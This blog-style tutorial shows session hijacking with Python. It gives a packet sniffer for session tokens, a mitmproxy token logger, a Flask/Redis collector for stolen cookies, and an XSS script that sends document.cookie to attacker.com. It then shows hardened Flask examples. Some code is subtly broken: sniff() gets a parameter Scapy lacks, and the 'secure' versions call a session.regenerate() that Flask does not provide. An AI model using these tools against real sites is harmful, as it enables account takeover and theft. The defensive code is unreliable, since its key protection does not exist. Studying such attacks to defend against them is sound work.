Session Hijacking With Python
Session hijacking is a technique used by attackers to gain unauthorized access to a user’s session by intercepting and exploiting session tokens or cookies. In this article, we’ll explore how to perform session hijacking using Python, along with various techniques and tools, providing detailed code examples and real-life scenarios.
Understanding Session Hijacking
Session hijacking occurs when an attacker steals or predicts a valid session token to gain unauthorized access to a user’s session. This can be done through various methods:
- Session sniffing
- Man-in-the-Middle (MITM) attacks
- Cross-Site Scripting (XSS)
- Session fixation
Let’s dive into each method and see how Python can be used to demonstrate these techniques with practical examples.
1. Session Sniffing
Session sniffing involves capturing network traffic to intercept session tokens. We’ll use the scapy
library to demonstrate this technique, utilizing hardware acceleration when available.
from scapy.all import *
import numpy as np
def packet_callback(packet):
if packet.haslayer(TCP) and packet.haslayer(Raw):
load = packet[Raw].load
if b'session_id' in load:
print(f"[*] Possible session token found: {load}")
# Use NumPy for faster packet processing
def process_packets(packets):
np_packets = np.frombuffer(packets, dtype=np.uint8)
return np_packets[np_packets.view('S4') == b'HTTP']
# Start sniffing
sniff(filter="tcp port 80", prn=packet_callback, store=0, process_packet=process_packets)
This script uses Scapy for packet capture and NumPy for faster packet processing. It sniffs HTTP traffic on port 80 and looks for packets containing the string “session_id”.
2. Man-in-the-Middle (MITM) Attacks
MITM attacks involve intercepting communication between two parties. We’ll use the mitmproxy
library to demonstrate this technique with a more advanced example.
from mitmproxy import ctx, http
import jwt
def request(flow: http.HTTPFlow) -> None:
if "Authorization" in flow.request.headers:
auth_header = flow.request.headers["Authorization"]
if auth_header.startswith("Bearer "):
token = auth_header.split(" ")[1]
try:
decoded = jwt.decode(token, options={"verify_signature": False})
ctx.log.info(f"Decoded JWT: {decoded}")
except jwt.DecodeError:
ctx.log.warn(f"Failed to decode JWT: {token}")
def response(flow: http.HTTPFlow) -> None:
if "Set-Cookie" in flow.response.headers:
cookies = flow.response.headers.get_all("Set-Cookie")
for cookie in cookies:
if "session" in cookie.lower():
ctx.log.info(f"Session cookie found: {cookie}")
addons = [
request,
response
]
This script intercepts both requests and responses, looking for JWT tokens in Authorization headers and session cookies in responses. To use this script, run mitmproxy -s mitm_session_hijack.py
and configure your browser to use the proxy.
3. Cross-Site Scripting (XSS)
XSS attacks involve injecting malicious scripts into web pages. Here’s a more sophisticated example of how an attacker might use XSS to steal session cookies:
from flask import Flask, request, jsonify
from flask_cors import CORS
import redis
app = Flask(__name__)
CORS(app)
redis_client = redis.Redis(host='localhost', port=6379, db=0)
@app.route('/log', methods=['POST'])
def log_cookie():
data = request.json
if data and 'cookie' in data:
redis_client.lpush('stolen_cookies', data['cookie'])
return jsonify({"status": "success"}), 200
return jsonify({"status": "error", "message": "Invalid data"}), 400
@app.route('/cookies', methods=['GET'])
def get_cookies():
cookies = redis_client.lrange('stolen_cookies', 0, -1)
return jsonify({"cookies": [cookie.decode('utf-8') for cookie in cookies]}), 200
if __name__ == '__main__':
app.run(port=8080)
The attacker would then inject the following JavaScript code into a vulnerable website:
<script>
fetch('http://attacker.com:8080/log', {
method: 'POST',
headers: {
'Content-Type': 'application/json',
},
body: JSON.stringify({cookie: document.cookie}),
});
</script>
This example uses Redis to store stolen cookies and provides an endpoint to retrieve them, making it more scalable and efficient.
4. Session Fixation
Session fixation involves tricking a user into using a predetermined session ID. Here’s a more secure Flask application that demonstrates how to prevent session fixation:
from flask import Flask, request, session, redirect, url_for
from flask_talisman import Talisman
from flask_seasurf import SeaSurf
import secrets
from datetime import timedelta
app = Flask(__name__)
app.secret_key = secrets.token_hex(16)
Talisman(app, force_https=True)
csrf = SeaSurf(app)
@app.before_request
def make_session_permanent():
session.permanent = True
app.permanent_session_lifetime = timedelta(minutes=30)
@app.before_request
def regenerate_session():
if 'user_id' in session and secrets.randbelow(10) == 0:
session.regenerate()
@app.route('/')
def index():
if 'user_id' not in session:
session['user_id'] = secrets.token_hex(16)
return f"Your session ID is: {session['user_id']}"
@app.route('/login', methods=['POST'])
def login():
# Simulate login process
username = request.form.get('username')
password = request.form.get('password')
if username == 'admin' and password == 'secret':
session.regenerate() # Generate a new session ID on login
session['user_id'] = secrets.token_hex(16)
return redirect(url_for('index'))
return "Invalid credentials", 401
if __name__ == '__main__':
app.run(debug=True)
This example implements several security measures:
- Uses HTTPS (via Talisman)
- Implements CSRF protection (via SeaSurf)
- Uses secure session management practices
- Regenerates session IDs randomly and on login
- Uses cryptographically secure random tokens
Real-life Example: Banking Application
Let’s consider a real-life example of a simple banking application and how it could be vulnerable to session hijacking:
from flask import Flask, request, session, redirect, url_for, render_template_string
import secrets
app = Flask(__name__)
app.secret_key = secrets.token_hex(16)
# Simulated database
users = {
'alice': {'password': 'password123', 'balance': 1000},
'bob': {'password': 'password456', 'balance': 500}
}
@app.route('/')
def index():
if 'username' in session:
return f'''
Welcome, {session['username']}!
Your balance is ${users[session['username']]['balance']}.
<a href="/logout">Logout</a>
'''
return 'Please <a href="/login">login</a>'
@app.route('/login', methods=['GET', 'POST'])
def login():
if request.method == 'POST':
username = request.form['username']
password = request.form['password']
if username in users and users[username]['password'] == password:
session['username'] = username
return redirect(url_for('index'))
return 'Invalid username/password'
return '''
<form method="post">
Username: <input type="text" name="username"><br>
Password: <input type="password" name="password"><br>
<input type="submit" value="Login">
</form>
'''
@app.route('/logout')
def logout():
session.pop('username', None)
return redirect(url_for('index'))
if __name__ == '__main__':
app.run(debug=True)
This application is vulnerable to session hijacking because:
- It doesn’t use HTTPS
- It doesn’t set secure flags on cookies
- It doesn’t implement CSRF protection
- It doesn’t regenerate session IDs
Here’s a more secure version of the same application:
from flask import Flask, request, session, redirect, url_for, render_template_string
from flask_talisman import Talisman
from flask_seasurf import SeaSurf
import secrets
from datetime import timedelta
app = Flask(__name__)
app.secret_key = secrets.token_hex(32)
Talisman(app, force_https=True)
csrf = SeaSurf(app)
# Simulated database
users = {
'alice': {'password': 'password123', 'balance': 1000},
'bob': {'password': 'password456', 'balance': 500}
}
@app.before_request
def make_session_permanent():
session.permanent = True
app.permanent_session_lifetime = timedelta(minutes=15)
@app.before_request
def regenerate_session():
if 'username' in session and secrets.randbelow(10) == 0:
session.regenerate()
@app.route('/')
def index():
if 'username' in session:
return render_template_string('''
Welcome, {{ username }}!
Your balance is ${{ balance }}.
<form method="post" action="{{ url_for('logout') }}">
<input type="hidden" name="_csrf_token" value="{{ csrf_token() }}">
<input type="submit" value="Logout">
</form>
''', username=session['username'], balance=users[session['username']]['balance'])
return 'Please <a href="{{ url_for(\'login\') }}">login</a>'
@app.route('/login', methods=['GET', 'POST'])
def login():
if request.method == 'POST':
username = request.form['username']
password = request.form['password']
if username in users and secrets.compare_digest(users[username]['password'], password):
session.regenerate()
session['username'] = username
return redirect(url_for('index'))
return 'Invalid username/password'
return render_template_string('''
<form method="post">
<input type="hidden" name="_csrf_token" value="{{ csrf_token() }}">
Username: <input type="text" name="username"><br>
Password: <input type="password" name="password"><br>
<input type="submit" value="Login">
</form>
''')
@app.route('/logout', methods=['POST'])
def logout():
session.clear()
return redirect(url_for('index'))
if __name__ == '__main__':
app.run(debug=True)
This secure version implements:
- HTTPS (via Talisman)
- CSRF protection (via SeaSurf)
- Secure session management (short lifetime, regeneration)
- Use of
secrets.compare_digest()
for timing attack prevention - POST logout to prevent CSRF logout attacks
Conclusion
Session hijacking remains a significant security threat that can lead to unauthorized access and data breaches. By understanding these techniques and implementing proper security measures, developers can better protect their applications and users from such attacks.
graph TD A[User] -->|Sends request| B[Web Server] B -->|Sets secure session token| A C[Attacker] -->|Attempts to intercept token| D{Security Measures} D -->|HTTPS| E[Encrypted Communication] D -->|Secure cookies| F[HTTP-only & Secure flags] D -->|CSRF protection| G[Token validation] D -->|Session regeneration| H[Dynamic session IDs] E --> B F --> B G --> B H --> B
For more detailed research on session security, refer to the following resources:
- OWASP Session Management Cheat Sheet
- Web Security Concepts: CSRF Protection
- Flask Security Considerations
Remember, the techniques demonstrated in this article should only be used for educational purposes or with proper authorization. Always prioritize security and ethical practices in your development work.